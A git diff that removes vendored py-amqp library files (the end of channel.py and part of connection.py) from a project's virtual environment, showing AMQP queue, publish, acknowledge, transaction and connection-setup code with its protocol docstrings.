- - Returns a tuple containing 3 items: - the name of the queue (essential for automatically-named queues), - message count and - consumer count - """ - self.send_method( - spec.Queue.Declare, argsig, - (0, queue, passive, durable, exclusive, auto_delete, - nowait, arguments), - ) - if not nowait: - return queue_declare_ok_t(*self.wait( - spec.Queue.DeclareOk, returns_tuple=True, - )) - - def queue_delete(self, queue='', - if_unused=False, if_empty=False, nowait=False, - argsig='Bsbbb'): - """Delete a queue. - - This method deletes a queue. When a queue is deleted any - pending messages are sent to a dead-letter queue if this is - defined in the server configuration, and all consumers on the - queue are cancelled. - - RULE: - - The server SHOULD use a dead-letter queue to hold messages - that were pending on a deleted queue, and MAY provide - facilities for a system administrator to move these - messages back to an active queue. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to delete. If the - queue name is empty, refers to the current queue for - the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - The queue must exist. Attempting to delete a non- - existing queue causes a channel exception. - - if_unused: boolean - - delete only if unused - - If set, the server will only delete the queue if it - has no consumers. If the queue has consumers the - server does does not delete it but raises a channel - exception instead. - - RULE: - - The server MUST respect the if-unused flag when - deleting a queue. - - if_empty: boolean - - delete only if empty - - If set, the server will only delete the queue if it - has no messages. If the queue is not empty the server - raises a channel exception. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - If nowait is False, returns the number of deleted messages. - """ - return self.send_method( - spec.Queue.Delete, argsig, - (0, queue, if_unused, if_empty, nowait), - wait=None if nowait else spec.Queue.DeleteOk, - ) - - def queue_purge(self, queue='', nowait=False, argsig='Bsb'): - """Purge a queue. - - This method removes all messages from a queue. It does not - cancel consumers. Purged messages are deleted without any - formal "undo" mechanism. - - RULE: - - A call to purge MUST result in an empty queue. - - RULE: - - On transacted channels the server MUST not purge messages - that have already been sent to a client but not yet - acknowledged. - - RULE: - - The server MAY implement a purge queue or log that allows - system administrators to recover accidentally-purged - messages. The server SHOULD NOT keep purged messages in - the same storage spaces as the live messages since the - volumes of purged messages may get very large. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to purge. If the - queue name is empty, refers to the current queue for - the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - RULE: - - The queue must exist. Attempting to purge a non- - existing queue causes a channel exception. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - If nowait is False, returns a number of purged messages. - """ - return self.send_method( - spec.Queue.Purge, argsig, (0, queue, nowait), - wait=None if nowait else spec.Queue.PurgeOk, - ) - - ############# - # - # Basic - # - # - # work with basic content - # - # The Basic class provides methods that support an industry- - # standard messaging model. - # - # GRAMMAR:: - # - # basic = C:QOS S:QOS-OK - # / C:CONSUME S:CONSUME-OK - # / C:CANCEL S:CANCEL-OK - # / C:PUBLISH content - # / S:RETURN content - # / S:DELIVER content - # / C:GET ( S:GET-OK content / S:GET-EMPTY ) - # / C:ACK - # / C:REJECT - # - # RULE: - # - # The server SHOULD respect the persistent property of basic - # messages and SHOULD make a best-effort to hold persistent - # basic messages on a reliable storage mechanism. - # - # RULE: - # - # The server MUST NOT discard a persistent basic message in - # case of a queue overflow. The server MAY use the - # Channel.Flow method to slow or stop a basic message - # publisher when necessary. - # - # RULE: - # - # The server MAY overflow non-persistent basic messages to - # persistent storage and MAY discard or dead-letter non- - # persistent basic messages on a priority basis if the queue - # size exceeds some configured limit. - # - # RULE: - # - # The server MUST implement at least 2 priority levels for - # basic messages, where priorities 0-4 and 5-9 are treated as - # two distinct levels. The server MAY implement up to 10 - # priority levels. - # - # RULE: - # - # The server MUST deliver messages of the same priority in - # order irrespective of their individual persistence. - # - # RULE: - # - # The server MUST support both automatic and explicit - # acknowledgments on Basic content. - # - - def basic_ack(self, delivery_tag, multiple=False, argsig='Lb'): - """Acknowledge one or more messages. - - This method acknowledges one or more messages delivered via - the Deliver or Get-Ok methods. The client can ask to confirm - a single message or a set of messages up to and including a - specific message. - - PARAMETERS: - delivery_tag: longlong - - server-assigned delivery tag - - The server-assigned and channel-specific delivery tag - - RULE: - - The delivery tag is valid only within the channel - from which the message was received. I.e. a client - MUST NOT receive a message on one channel and then - acknowledge it on another. - - RULE: - - The server MUST NOT use a zero value for delivery - tags. Zero is reserved for client use, meaning "all - messages so far received". - - multiple: boolean - - acknowledge multiple messages - - If set to True, the delivery tag is treated as "up to - and including", so that the client can acknowledge - multiple messages with a single method. If set to - False, the delivery tag refers to a single message. - If the multiple field is True, and the delivery tag - is zero, tells the server to acknowledge all - outstanding messages. - - RULE: - - The server MUST validate that a non-zero delivery- - tag refers to an delivered message, and raise a - channel exception if this is not the case. - """ - return self.send_method( - spec.Basic.Ack, argsig, (delivery_tag, multiple), - ) - - def basic_cancel(self, consumer_tag, nowait=False, argsig='sb'): - """End a queue consumer. - - This method cancels a consumer. This does not affect already - delivered messages, but it does mean the server will not send - any more messages for that consumer. The client may receive - an arbitrary number of messages in between sending the cancel - method and receiving the cancel-ok reply. - - RULE: - - If the queue no longer exists when the client sends a - cancel command, or the consumer has been cancelled for - other reasons, this command has no effect. - - PARAMETERS: - consumer_tag: shortstr - - consumer tag - - Identifier for the consumer, valid within the current - connection. - - RULE: - - The consumer tag is valid only within the channel - from which the consumer was created. I.e. a client - MUST NOT create a consumer in one channel and then - use it in another. - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - """ - if self.connection is not None: - self.no_ack_consumers.discard(consumer_tag) - return self.send_method( - spec.Basic.Cancel, argsig, (consumer_tag, nowait), - wait=None if nowait else spec.Basic.CancelOk, - ) - - def _on_basic_cancel(self, consumer_tag): - """Consumer cancelled by server. - - Most likely the queue was deleted. - - """ - callback = self._remove_tag(consumer_tag) - if callback: - callback(consumer_tag) - else: - raise ConsumerCancelled(consumer_tag, spec.Basic.Cancel) - - def _on_basic_cancel_ok(self, consumer_tag): - self._remove_tag(consumer_tag) - - def _remove_tag(self, consumer_tag): - self.callbacks.pop(consumer_tag, None) - return self.cancel_callbacks.pop(consumer_tag, None) - - def basic_consume(self, queue='', consumer_tag='', no_local=False, - no_ack=False, exclusive=False, nowait=False, - callback=None, arguments=None, on_cancel=None, - argsig='BssbbbbF'): - """Start a queue consumer. - - This method asks the server to start a "consumer", which is a - transient request for messages from a specific queue. - Consumers last as long as the channel they were created on, or - until the client cancels them. - - RULE: - - The server SHOULD support at least 16 consumers per queue, - unless the queue was declared as private, and ideally, - impose no limit except as defined by available resources. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to consume from. If - the queue name is null, refers to the current queue - for the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - consumer_tag: shortstr - - Specifies the identifier for the consumer. The - consumer tag is local to a connection, so two clients - can use the same consumer tags. If this field is empty - the server will generate a unique tag. - - RULE: - - The tag MUST NOT refer to an existing consumer. If - the client attempts to create two consumers with - the same non-empty tag the server MUST raise a - connection exception with reply code 530 (not - allowed). - - no_local: boolean - - do not deliver own messages - - If the no-local field is set the server will not send - messages to the client that published them. - - no_ack: boolean - - no acknowledgment needed - - If this field is set the server does not expect - acknowledgments for messages. That is, when a message - is delivered to the client the server automatically and - silently acknowledges it on behalf of the client. This - functionality increases performance but at the cost of - reliability. Messages can get lost if a client dies - before it can deliver them to the application. - - exclusive: boolean - - request exclusive access - - Request exclusive consumer access, meaning only this - consumer can access the queue. - - RULE: - - If the server cannot grant exclusive access to the - queue when asked, - because there are other - consumers active - it MUST raise a channel - exception with return code 403 (access refused). - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - callback: Python callable - - function/method called with each delivered message - - For each message delivered by the broker, the - callable will be called with a Message object - as the single argument. If no callable is specified, - messages are quietly discarded, no_ack should probably - be set to True in that case. - """ - p = self.send_method( - spec.Basic.Consume, argsig, - ( - 0, queue, consumer_tag, no_local, no_ack, exclusive, - nowait, arguments - ), - wait=None if nowait else spec.Basic.ConsumeOk, - returns_tuple=True - ) - - if not nowait: - # send_method() returns (consumer_tag,) tuple. - # consumer_tag is returned by broker using following rules: - # * consumer_tag is not specified by client, random one - # is generated by Broker - # * consumer_tag is provided by client, the same one - # is returned by broker - consumer_tag = p[0] - elif nowait and not consumer_tag: - raise ValueError( - 'Consumer tag must be specified when nowait is True' - ) - - self.callbacks[consumer_tag] = callback - - if on_cancel: - self.cancel_callbacks[consumer_tag] = on_cancel - if no_ack: - self.no_ack_consumers.add(consumer_tag) - - if not nowait: - return consumer_tag - else: - return p - - def _on_basic_deliver(self, consumer_tag, delivery_tag, redelivered, - exchange, routing_key, msg): - msg.channel = self - msg.delivery_info = { - 'consumer_tag': consumer_tag, - 'delivery_tag': delivery_tag, - 'redelivered': redelivered, - 'exchange': exchange, - 'routing_key': routing_key, - } - - try: - fun = self.callbacks[consumer_tag] - except KeyError: - AMQP_LOGGER.warning( - REJECTED_MESSAGE_WITHOUT_CALLBACK, - delivery_tag, consumer_tag, exchange, routing_key, - ) - self.basic_reject(delivery_tag, requeue=True) - else: - fun(msg) - - def basic_get(self, queue='', no_ack=False, argsig='Bsb'): - """Direct access to a queue. - - This method provides a direct access to the messages in a - queue using a synchronous dialogue that is designed for - specific types of application where synchronous functionality - is more important than performance. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to consume from. If - the queue name is null, refers to the current queue - for the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - no_ack: boolean - - no acknowledgment needed - - If this field is set the server does not expect - acknowledgments for messages. That is, when a message - is delivered to the client the server automatically and - silently acknowledges it on behalf of the client. This - functionality increases performance but at the cost of - reliability. Messages can get lost if a client dies - before it can deliver them to the application. - - Non-blocking, returns a amqp.basic_message.Message object, - or None if queue is empty. - """ - ret = self.send_method( - spec.Basic.Get, argsig, (0, queue, no_ack), - wait=[spec.Basic.GetOk, spec.Basic.GetEmpty], returns_tuple=True, - ) - if not ret or len(ret) < 2: - return self._on_get_empty(*ret) - return self._on_get_ok(*ret) - - def _on_get_empty(self, cluster_id=None): - pass - - def _on_get_ok(self, delivery_tag, redelivered, exchange, routing_key, - message_count, msg): - msg.channel = self - msg.delivery_info = { - 'delivery_tag': delivery_tag, - 'redelivered': redelivered, - 'exchange': exchange, - 'routing_key': routing_key, - 'message_count': message_count - } - return msg - - def _basic_publish(self, msg, exchange='', routing_key='', - mandatory=False, immediate=False, timeout=None, - confirm_timeout=None, - argsig='Bssbb'): - """Publish a message. - - This method publishes a message to a specific exchange. The - message will be routed to queues as defined by the exchange - configuration and distributed to any active consumers when the - transaction, if any, is committed. - - When channel is in confirm mode (when Connection parameter - confirm_publish is set to True), each message is confirmed. - When broker rejects published message (e.g. due internal broker - constrains), MessageNacked exception is raised and - set confirm_timeout to wait maximum confirm_timeout second - for message to confirm. - - PARAMETERS: - exchange: shortstr - - Specifies the name of the exchange to publish to. The - exchange name can be empty, meaning the default - exchange. If the exchange name is specified, and that - exchange does not exist, the server will raise a - channel exception. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - RULE: - - The exchange MAY refuse basic content in which - case it MUST raise a channel exception with reply - code 540 (not implemented). - - routing_key: shortstr - - Message routing key - - Specifies the routing key for the message. The - routing key is used for routing messages depending on - the exchange configuration. - - mandatory: boolean - - indicate mandatory routing - - This flag tells the server how to react if the message - cannot be routed to a queue. If this flag is True, the - server will return an unroutable message with a Return - method. If this flag is False, the server silently - drops the message. - - RULE: - - The server SHOULD implement the mandatory flag. - - immediate: boolean - - request immediate delivery - - This flag tells the server how to react if the message - cannot be routed to a queue consumer immediately. If - this flag is set, the server will return an - undeliverable message with a Return method. If this - flag is zero, the server will queue the message, but - with no guarantee that it will ever be consumed. - - RULE: - - The server SHOULD implement the immediate flag. - - timeout: short - - timeout for publish - - Set timeout to wait maximum timeout second - for message to publish. - - confirm_timeout: short - - confirm_timeout for publish in confirm mode - - When the channel is in confirm mode set - confirm_timeout to wait maximum confirm_timeout - second for message to confirm. - - """ - if not self.connection: - raise RecoverableConnectionError( - 'basic_publish: connection closed') - - capabilities = self.connection. \ - client_properties.get('capabilities', {}) - if capabilities.get('connection.blocked', False): - try: - # Check if an event was sent, such as the out of memory message - self.connection.drain_events(timeout=0) - except socket.timeout: - pass - - try: - with self.connection.transport.having_timeout(timeout): - return self.send_method( - spec.Basic.Publish, argsig, - (0, exchange, routing_key, mandatory, immediate), msg - ) - except socket.timeout: - raise RecoverableChannelError('basic_publish: timed out') - - basic_publish = _basic_publish - - def basic_publish_confirm(self, *args, **kwargs): - confirm_timeout = kwargs.pop('confirm_timeout', None) - - def confirm_handler(method, *args): - # When RMQ nacks message we are raising MessageNacked exception - if method == spec.Basic.Nack: - raise MessageNacked() - - if not self._confirm_selected: - self._confirm_selected = True - self.confirm_select() - ret = self._basic_publish(*args, **kwargs) - # Waiting for confirmation of message. - timeout = confirm_timeout or kwargs.get('timeout', None) - self.wait([spec.Basic.Ack, spec.Basic.Nack], - callback=confirm_handler, - timeout=timeout) - return ret - - def basic_qos(self, prefetch_size, prefetch_count, a_global, - argsig='lBb'): - """Specify quality of service. - - This method requests a specific quality of service. The QoS - can be specified for the current channel or for all channels - on the connection. The particular properties and semantics of - a qos method always depend on the content class semantics. - Though the qos method could in principle apply to both peers, - it is currently meaningful only for the server. - - PARAMETERS: - prefetch_size: long - - prefetch window in octets - - The client can request that messages be sent in - advance so that when the client finishes processing a - message, the following message is already held - locally, rather than needing to be sent down the - channel. Prefetching gives a performance improvement. - This field specifies the prefetch window size in - octets. The server will send a message in advance if - it is equal to or smaller in size than the available - prefetch size (and also falls into other prefetch - limits). May be set to zero, meaning "no specific - limit", although other prefetch limits may still - apply. The prefetch-size is ignored if the no-ack - option is set. - - RULE: - - The server MUST ignore this setting when the - client is not processing any messages - i.e. the - prefetch size does not limit the transfer of - single messages to a client, only the sending in - advance of more messages while the client still - has one or more unacknowledged messages. - - prefetch_count: short - - prefetch window in messages - - Specifies a prefetch window in terms of whole - messages. This field may be used in combination with - the prefetch-size field; a message will only be sent - in advance if both prefetch windows (and those at the - channel and connection level) allow it. The prefetch- - count is ignored if the no-ack option is set. - - RULE: - - The server MAY send less data in advance than - allowed by the client's specified prefetch windows - but it MUST NOT send more. - - a_global: boolean - - Defines a scope of QoS. Semantics of this parameter differs - between AMQP 0-9-1 standard and RabbitMQ broker: - - MEANING IN AMQP 0-9-1: - False: shared across all consumers on the channel - True: shared across all consumers on the connection - MEANING IN RABBITMQ: - False: applied separately to each new consumer - on the channel - True: shared across all consumers on the channel - """ - return self.send_method( - spec.Basic.Qos, argsig, (prefetch_size, prefetch_count, a_global), - wait=spec.Basic.QosOk, - ) - - def basic_recover(self, requeue=False): - """Redeliver unacknowledged messages. - - This method asks the broker to redeliver all unacknowledged - messages on a specified channel. Zero or more messages may be - redelivered. This method is only allowed on non-transacted - channels. - - RULE: - - The server MUST set the redelivered flag on all messages - that are resent. - - RULE: - - The server MUST raise a channel exception if this is - called on a transacted channel. - - PARAMETERS: - requeue: boolean - - requeue the message - - If this field is False, the message will be redelivered - to the original recipient. If this field is True, the - server will attempt to requeue the message, - potentially then delivering it to an alternative - subscriber. - """ - return self.send_method(spec.Basic.Recover, 'b', (requeue,)) - - def basic_recover_async(self, requeue=False): - return self.send_method(spec.Basic.RecoverAsync, 'b', (requeue,)) - - def basic_reject(self, delivery_tag, requeue, argsig='Lb'): - """Reject an incoming message. - - This method allows a client to reject a message. It can be - used to interrupt and cancel large incoming messages, or - return untreatable messages to their original queue. - - RULE: - - The server SHOULD be capable of accepting and process the - Reject method while sending message content with a Deliver - or Get-Ok method. I.e. the server should read and process - incoming methods while sending output frames. To cancel a - partially-send content, the server sends a content body - frame of size 1 (i.e. with no data except the frame-end - octet). - - RULE: - - The server SHOULD interpret this method as meaning that - the client is unable to process the message at this time. - - RULE: - - A client MUST NOT use this method as a means of selecting - messages to process. A rejected message MAY be discarded - or dead-lettered, not necessarily passed to another - client. - - PARAMETERS: - delivery_tag: longlong - - server-assigned delivery tag - - The server-assigned and channel-specific delivery tag - - RULE: - - The delivery tag is valid only within the channel - from which the message was received. I.e. a client - MUST NOT receive a message on one channel and then - acknowledge it on another. - - RULE: - - The server MUST NOT use a zero value for delivery - tags. Zero is reserved for client use, meaning "all - messages so far received". - - requeue: boolean - - requeue the message - - If this field is False, the message will be discarded. - If this field is True, the server will attempt to - requeue the message. - - RULE: - - The server MUST NOT deliver the message to the - same client within the context of the current - channel. The recommended strategy is to attempt - to deliver the message to an alternative consumer, - and if that is not possible, to move the message - to a dead-letter queue. The server MAY use more - sophisticated tracking to hold the message on the - queue and redeliver it to the same client at a - later stage. - """ - return self.send_method( - spec.Basic.Reject, argsig, (delivery_tag, requeue), - ) - - def _on_basic_return(self, reply_code, reply_text, - exchange, routing_key, message): - """Return a failed message. - - This method returns an undeliverable message that was - published with the "immediate" flag set, or an unroutable - message published with the "mandatory" flag set. The reply - code and text provide information about the reason that the - message was undeliverable. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - exchange: shortstr - - Specifies the name of the exchange that the message - was originally published to. - - routing_key: shortstr - - Message routing key - - Specifies the routing key name specified when the - message was published. - """ - exc = error_for_code( - reply_code, reply_text, spec.Basic.Return, ChannelError, - ) - handlers = self.events.get('basic_return') - if not handlers: - raise exc - for callback in handlers: - callback(exc, exchange, routing_key, message) - - ############# - # - # Tx - # - # - # work with standard transactions - # - # Standard transactions provide so-called "1.5 phase commit". We - # can ensure that work is never lost, but there is a chance of - # confirmations being lost, so that messages may be resent. - # Applications that use standard transactions must be able to - # detect and ignore duplicate messages. - # - # GRAMMAR:: - # - # tx = C:SELECT S:SELECT-OK - # / C:COMMIT S:COMMIT-OK - # / C:ROLLBACK S:ROLLBACK-OK - # - # RULE: - # - # An client using standard transactions SHOULD be able to - # track all messages received within a reasonable period, and - # thus detect and reject duplicates of the same message. It - # SHOULD NOT pass these to the application layer. - # - # - - def tx_commit(self): - """Commit the current transaction. - - This method commits all messages published and acknowledged in - the current transaction. A new transaction starts immediately - after a commit. - """ - return self.send_method(spec.Tx.Commit, wait=spec.Tx.CommitOk) - - def tx_rollback(self): - """Abandon the current transaction. - - This method abandons all messages published and acknowledged - in the current transaction. A new transaction starts - immediately after a rollback. - """ - return self.send_method(spec.Tx.Rollback, wait=spec.Tx.RollbackOk) - - def tx_select(self): - """Select standard transaction mode. - - This method sets the channel to use standard transactions. - The client must use this method at least once on a channel - before using the Commit or Rollback methods. - """ - return self.send_method(spec.Tx.Select, wait=spec.Tx.SelectOk) - - def confirm_select(self, nowait=False): - """Enable publisher confirms for this channel. - - Note: This is an RabbitMQ extension. - - Can now be used if the channel is in transactional mode. - - :param nowait: - If set, the server will not respond to the method. - The client should not wait for a reply method. If the - server could not complete the method it will raise a channel - or connection exception. - """ - return self.send_method( - spec.Confirm.Select, 'b', (nowait,), - wait=None if nowait else spec.Confirm.SelectOk, - ) - - def _on_basic_ack(self, delivery_tag, multiple): - for callback in self.events['basic_ack']: - callback(delivery_tag, multiple) - - def _on_basic_nack(self, delivery_tag, multiple): - for callback in self.events['basic_nack']: - callback(delivery_tag, multiple) diff --git a/backend/venv/Lib/site-packages/amqp/connection.py b/backend/venv/Lib/site-packages/amqp/connection.py deleted file mode 100644 index 07a817d6..00000000 --- a/backend/venv/Lib/site-packages/amqp/connection.py +++ /dev/null @@ -1,784 +0,0 @@ -"""AMQP Connections.""" -# Copyright (C) 2007-2008 Barry Pederson - -import logging -import socket -import uuid -import warnings -from array import array -from time import monotonic - -from vine import ensure_promise - -from . import __version__, sasl, spec -from .abstract_channel import AbstractChannel -from .channel import Channel -from .exceptions import (AMQPDeprecationWarning, ChannelError, ConnectionError, - ConnectionForced, MessageNacked, RecoverableChannelError, - RecoverableConnectionError, ResourceError, - error_for_code) -from .method_framing import frame_handler, frame_writer -from .transport import Transport - -try: - from ssl import SSLError -except ImportError: # pragma: no cover - class SSLError(Exception): # noqa - pass - -W_FORCE_CONNECT = """\ -The .{attr} attribute on the connection was accessed before -the connection was established. This is supported for now, but will -be deprecated in amqp 2.2.0. - -Since amqp 2.0 you have to explicitly call Connection.connect() -before using the connection. -""" - -START_DEBUG_FMT = """ -Start from server, version: %d.%d, properties: %s, mechanisms: %s, locales: %s -""".strip() - -__all__ = ('Connection',) - -AMQP_LOGGER = logging.getLogger('amqp') -AMQP_HEARTBEAT_LOGGER = logging.getLogger( - 'amqp.connection.Connection.heartbeat_tick' -) - -#: Default map for :attr:`Connection.library_properties` -LIBRARY_PROPERTIES = { - 'product': 'py-amqp', - 'product_version': __version__, -} - -#: Default map for :attr:`Connection.negotiate_capabilities` -NEGOTIATE_CAPABILITIES = { - 'consumer_cancel_notify': True, - 'connection.blocked': True, - 'authentication_failure_close': True, -} - - -class Connection(AbstractChannel): - """AMQP Connection. - - The connection class provides methods for a client to establish a - network connection to a server, and for both peers to operate the - connection thereafter. - - GRAMMAR:: - - connection = open-connection *use-connection close-connection - open-connection = C:protocol-header - S:START C:START-OK - *challenge - S:TUNE C:TUNE-OK - C:OPEN S:OPEN-OK - challenge = S:SECURE C:SECURE-OK - use-connection = *channel - close-connection = C:CLOSE S:CLOSE-OK - / S:CLOSE C:CLOSE-OK - Create a connection to the specified host, which should be - a 'host[:port]', such as 'localhost', or '1.2.3.4:5672' - (defaults to 'localhost', if a port is not specified then - 5672 is used) - - Authentication can be controlled by passing one or more - `amqp.sasl.SASL` instances as the `authentication` parameter, or - setting the `login_method` string to one of the supported methods: - 'GSSAPI', 'EXTERNAL', 'AMQPLAIN', or 'PLAIN'. - Otherwise authentication will be performed using any supported method - preferred by the server. Userid and passwords apply to AMQPLAIN and - PLAIN authentication, whereas on GSSAPI only userid will be used as the - client name. For EXTERNAL authentication both userid and password are - ignored. - - The 'ssl' parameter may be simply True/False, or - a dictionary of options to pass to :class:`ssl.SSLContext` such as - requiring certain certificates. For details, refer ``ssl`` parameter of - :class:`~amqp.transport.SSLTransport`. - - The "socket_settings" parameter is a dictionary defining tcp - settings which will be applied as socket options. - - When "confirm_publish" is set to True, the channel is put to - confirm mode. In this mode, each published message is - confirmed using Publisher confirms RabbitMQ extension. - """ - - Channel = Channel - - #: Mapping of protocol extensions to enable. - #: The server will report these in server_properties[capabilities], - #: and if a key in this map is present the client will tell the - #: server to either enable or disable the capability depending - #: on the value set in this map. - #: For example with: - #: negotiate_capabilities = { - #: 'consumer_cancel_notify': True, - #: } - #: The client will enable this capability if the server reports - #: support for it, but if the value is False the client will - #: disable the capability. - negotiate_capabilities = NEGOTIATE_CAPABILITIES - - #: These are sent to the server to announce what features - #: we support, type of client etc. - library_properties = LIBRARY_PROPERTIES - - #: Final heartbeat interval value (in float seconds) after negotiation - heartbeat = None - - #: Original heartbeat interval value proposed by client. - client_heartbeat = None - - #: Original heartbeat interval proposed by server. - server_heartbeat = None - - #: Time of last heartbeat sent (in monotonic time, if available). - last_heartbeat_sent = 0 - - #: Time of last heartbeat received (in monotonic time, if available). - last_heartbeat_received = 0 - - #: Number of successful writes to socket. - bytes_sent = 0 - - #: Number of successful reads from socket. - bytes_recv = 0 - - #: Number of bytes sent to socket at the last heartbeat check. - prev_sent = None - - #: Number of bytes received from socket at the last heartbeat check. - prev_recv = None - - _METHODS = { - spec.method(spec.Connection.Start, 'ooFSS'), - spec.method(spec.Connection.OpenOk), - spec.method(spec.Connection.Secure, 's'), - spec.method(spec.Connection.Tune, 'BlB'), - spec.method(spec.Connection.Close, 'BsBB'), - spec.method(spec.Connection.Blocked), - spec.method(spec.Connection.Unblocked), - spec.method(spec.Connection.CloseOk), - } - _METHODS = {m.method_sig: m for m in _METHODS} - - _ALLOWED_METHODS_WHEN_CLOSING = ( - spec.Connection.Close, spec.Connection.CloseOk - ) - - connection_errors = ( - ConnectionError, - socket.error, - IOError, - OSError, - ) - channel_errors = (ChannelError,) - recoverable_connection_errors = ( - RecoverableConnectionError, - MessageNacked, - socket.error, - IOError, - OSError, - ) - recoverable_channel_errors = ( - RecoverableChannelError, - ) - - def __init__(self, host='localhost:5672', userid='guest', password='guest', - login_method=None, login_response=None, - authentication=(), - virtual_host='/', locale='en_US', client_properties=None, - ssl=False, connect_timeout=None, channel_max=None, - frame_max=None, heartbeat=0, on_open=None, on_blocked=None, - on_unblocked=None, confirm_publish=False, - on_tune_ok=None, read_timeout=None, write_timeout=None, - socket_settings=None, frame_handler=frame_handler, - frame_writer=frame_writer, **kwargs): - self._connection_id = uuid.uuid4().hex - channel_max = channel_max or 65535 - frame_max = frame_max or 131072 - if authentication: - if isinstance(authentication, sasl.SASL): - authentication = (authentication,) - self.authentication = authentication - elif login_method is not None: - if login_method == 'GSSAPI': - auth = sasl.GSSAPI(userid) - elif login_method == 'EXTERNAL': - auth = sasl.EXTERNAL() - elif login_method == 'AMQPLAIN': - if userid is None or password is None: - raise ValueError( - "Must supply authentication or userid/password") - auth = sasl.AMQPLAIN(userid, password) - elif login_method == 'PLAIN': - if userid is None or password is None: - raise ValueError( - "Must supply authentication or userid/password") - auth = sasl.PLAIN(userid, password) - elif login_response is not None: - auth = sasl.RAW(login_method, login_response) - else: - raise ValueError("Invalid login method", login_method) - self.authentication = (auth,) - else: - self.authentication = (sasl.GSSAPI(userid, fail_soft=True), - sasl.EXTERNAL(), - sasl.AMQPLAIN(userid, password), - sasl.PLAIN(userid, password)) - - self.client_properties = dict( - self.library_properties, **client_properties or {} - ) - self.locale = locale - self.host = host - self.virtual_host = virtual_host - self.on_tune_ok = ensure_promise(on_tune_ok) - - self.frame_handler_cls = frame_handler - self.frame_writer_cls = frame_writer - - self._handshake_complete = False - - self.channels = {} - # The connection object itself is treated as channel 0 - super().__init__(self, 0) - - self._frame_writer = None - self._on_inbound_frame = None - self._transport = None - - # Properties set in the Tune method - self.channel_max = channel_max - self.frame_max = frame_max - self.client_heartbeat = heartbeat - - self.confirm_publish = confirm_publish - self.ssl = ssl - self.read_timeout = read_timeout - self.write_timeout = write_timeout - self.socket_settings = socket_settings - - # Callbacks - self.on_blocked = on_blocked - self.on_unblocked = on_unblocked - self.on_open = ensure_promise(on_open) - - self._used_channel_ids = array('H') - - # Properties set in the Start method - self.version_major = 0 - self.version_minor = 0 - self.server_properties = {} - self.mechanisms = [] - self.locales = [] - - self.connect_timeout = connect_timeout - - def __repr__(self): - if self._transport: - return f'' - else: - return f'' - - def __enter__(self): - self.connect() - return self - - def __exit__(self, *eargs): - self.close() - - def then(self, on_success, on_error=None): - return self.on_open.then(on_success, on_error) - - def _setup_listeners(self): - self._callbacks.update({ - spec.Connection.Start: self._on_start, - spec.Connection.OpenOk: self._on_open_ok, - spec.Connection.Secure: self._on_secure, - spec.Connection.Tune: self._on_tune, - spec.Connection.Close: self._on_close, - spec.Connection.Blocked: self._on_blocked, - spec.Connection.Unblocked: self._on_unblocked, - spec.Connection.CloseOk: self._on_close_ok, - }) - - def connect(self, callback=None): - # Let the transport.py module setup the actual - # socket connection to the broker. - # - if self.connected: - return callback() if callback else None - try: - self.transport = self.Transport( - self.host, self.connect_timeout, self.ssl, - self.read_timeout, self.write_timeout, - socket_settings=self.socket_settings, - ) - self.transport.connect() - self.on_inbound_frame = self.frame_handler_cls( - self, self.on_inbound_method) - self.frame_writer = self.frame_writer_cls(self, self.transport) - - while not self._handshake_complete: - self.drain_events(timeout=self.connect_timeout) - - except (OSError, SSLError): - self.collect() - raise - - def _warn_force_connect(self, attr): - warnings.warn(AMQPDeprecationWarning( - W_FORCE_CONNECT.format(attr=attr))) - - @property - def transport(self): - if self._transport is None: - self._warn_force_connect('transport') - self.connect() - return self._transport - - @transport.setter - def transport(self, transport): - self._transport = transport - - @property - def on_inbound_frame(self): - if self._on_inbound_frame is None: - self._warn_force_connect('on_inbound_frame') - self.connect() - return self._on_inbound_frame - - @on_inbound_frame.setter - def on_inbound_frame(self, on_inbound_frame): - self._on_inbound_frame = on_inbound_frame - - @property - def frame_writer(self): - if self._frame_writer is None: - self._warn_force_connect('frame_writer') - self.connect() - return self._frame_writer - - @frame_writer.setter - def frame_writer(self, frame_writer): - self._frame_writer = frame_writer - - def _on_start(self, version_major, version_minor, server_properties, - mechanisms, locales, argsig='FsSs'): - client_properties = self.client_properties - self.version_major = version_major - self.version_minor = version_minor - self.server_properties = server_properties - if isinstance(mechanisms, str): - mechanisms = mechanisms.encode('utf-8') - self.mechanisms = mechanisms.split(b' ') - self.locales = locales.split(' ') - AMQP_LOGGER.debug( - START_DEBUG_FMT, - self.version_major, self.version_minor, - self.server_properties, self.mechanisms, self.locales, - ) - - # Negotiate protocol extensions (capabilities) - scap = server_properties.get('capabilities') or {} - cap = client_properties.setdefault('capabilities', {}) - cap.update({ - wanted_cap: enable_cap - for wanted_cap, enable_cap in self.negotiate_capabilities.items() - if scap.get(wanted_cap) - }) - if not cap: - # no capabilities, server may not react well to having - # this key present in client_properties, so we remove it. - client_properties.pop('capabilities', None) - - for authentication in self.authentication: - if authentication.mechanism in self.mechanisms: - login_response = authentication.start(self) - if login_response is not NotImplemented: - break - else: - raise ConnectionError( - "Couldn't find appropriate auth mechanism " - "(can offer: {}; available: {})".format( - b", ".join(m.mechanism - for m in self.authentication 